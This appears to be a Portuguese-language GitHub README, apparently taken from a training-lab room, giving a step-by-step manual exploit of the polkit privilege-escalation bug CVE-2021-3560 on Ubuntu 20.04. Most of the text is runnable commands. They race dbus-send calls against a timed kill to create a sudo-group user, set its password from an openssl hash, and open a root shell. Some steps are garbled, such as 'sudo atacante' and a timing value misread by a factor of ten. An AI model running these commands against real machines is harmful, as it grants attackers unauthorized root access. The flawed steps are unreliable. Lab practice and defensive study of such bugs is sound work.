assassinukg/polkit-cve-2021-3560Guia passo a passo para explorar o CVE-2021-3560, uma vulnerabilidade de escalonamento de privilégios no polkit, incluindo contexto, análise de vulnerabilidade e comandos manuais de exploração.
No início de 2021, um pesquisador chamado Kevin Backhouse descobriu uma vulnerabilidade de escalonamento de privilégios de sete anos (designada CVE-2021-3560) no utilitário polkit do Linux. Felizmente, diferentes distribuições do Linux (e até mesmo versões diferentes das mesmas distribuições) usam versões diferentes do software, o que significa que apenas algumas são vulneráveis.
Especificamente, as seguintes distribuições mainstream, entre outras, eram vulneráveis:
Red Hat Enterprise Linux 8 Fedora 21 (ou posterior) Debian Testing ("Bullseye") Ubuntu 20.04 LTS ("Focal Fossa") Todas devem ter lançado versões corrigidas de seus respectivos pacotes polkit, no entanto, se você encontrar uma dessas distribuições, ela ainda pode estar vulnerável se não tiver sido atualizada por um tempo.
Para esta sala, vamos focar especificamente no Ubuntu 20.04. A Canonical lançou uma correção para sua versão do polkit (policykit-1), que tem o número de versão 0.105-26ubuntu1.1. A última versão vulnerável disponível nos repositórios apt para Focal Fossa é 0.105-26ubuntu1, então, se você vir esta, pode ter sorte!
Podemos usar apt list --installed | grep policykit-1 para verificar a versão instalada do polkit:
A pergunta lógica a fazer agora é: "O que é o polkit?"
O Polkit faz parte do sistema de autorização do Linux. Na prática, quando você tenta realizar uma ação que requer um nível mais alto de privilégios, o policy toolkit pode ser usado para determinar se você tem as permissões necessárias. Ele é integrado ao systemd e é muito mais configurável do que o sistema sudo tradicional. De fato, às vezes é referido como o "sudo do systemd".
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:atacante string:"Conta do Pentester" int32:1
Este comando enviará manualmente uma mensagem dbus para o daemon de contas, imprimindo a resposta e criando um novo usuário chamado atacante (string:atacante) com uma descrição de "Conta do Pentester" (string:"Conta do Pentester") e associação ao grupo sudo definida como verdadeira (referenciada pela flag int32:1).
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserID_DO_USUARIO org.freedesktop.Accounts.User.SetPassword string:'HASH_DA_SENHA' string:'Pergunte ao pentester'
Isso envia novamente uma mensagem dbus para o daemon de contas, solicitando uma alteração de senha para o usuário com um ID que especificamos (mostrado em vermelho), um hash de senha que precisamos gerar manualmente e uma dica ("Pergunte ao pentester").
Como isso é efetivamente uma condição de corrida, primeiro precisamos determinar quanto tempo nosso comando levará para ser executado. Vamos tentar com a primeira mensagem dbus:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:atacante string:"Conta do Pentester" int32:1
ex:
real 0m0.11s
user 0m0.002s
sys 0m0000s
Isso leva 0,011 segundos, ou 11 milissegundos. Esse número será ligeiramente diferente cada vez que você executar o comando; no entanto, na máquina fornecida, deve ficar sempre em torno desse valor.
Precisamos matar o comando aproximadamente na metade da execução. Cinco milissegundos geralmente funcionam bem na máquina fornecida; no entanto, esteja ciente de que isso não é algo exato. Você pode precisar alterar o tempo de sleep ou executar o comando várias vezes antes que funcione. Dito isso, uma vez que você encontre um tempo que funcione, ele deve funcionar consistentemente. Se estiver com dificuldades para encontrar um tempo que funcione, colocar o comando dentro de um loop for do bash e percorrer rapidamente uma faixa de tempos tende a funcionar bem.
Vamos tentar. Precisamos enviar a mensagem dbus e depois matá-la aproximadamente na metade:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:atacante string:"Conta do Pentester" int32:1 & sleep 0.005s; kill $!
Para explicar o comando acima, enviamos a mensagem dbus em um job em segundo plano (usando o e comercial para colocar o comando em segundo plano). Em seguida, dissemos para dormir por 5 milissegundos (sleep 0.005s) e depois matar o processo anterior ($!). Isso criou com sucesso o novo usuário, adicionando-o ao grupo sudo.
Devemos anotar neste ponto que o ID do usuário do novo usuário neste caso é 1000.
id atacante
Agora só precisamos dar uma senha ao usuário e estamos prontos!
Precisamos de um hash de senha aqui, então vamos gerar um hash Sha512Crypt para nossa senha escolhida (Expl01ted):
openssl passwd -6 Expl01ted
Usando openssl, geramos uma senha do tipo 6 (SHA512-crypt) e nossa senha em texto simples (Expl01ted).
Agora vamos finalizar isso! 5 milissegundos funcionaram da última vez, então deve funcionar aqui também:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Pergunte ao pentester' & sleep 0.005s; kill $!
sudo atacante
sudo -l
sudo -s
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/#about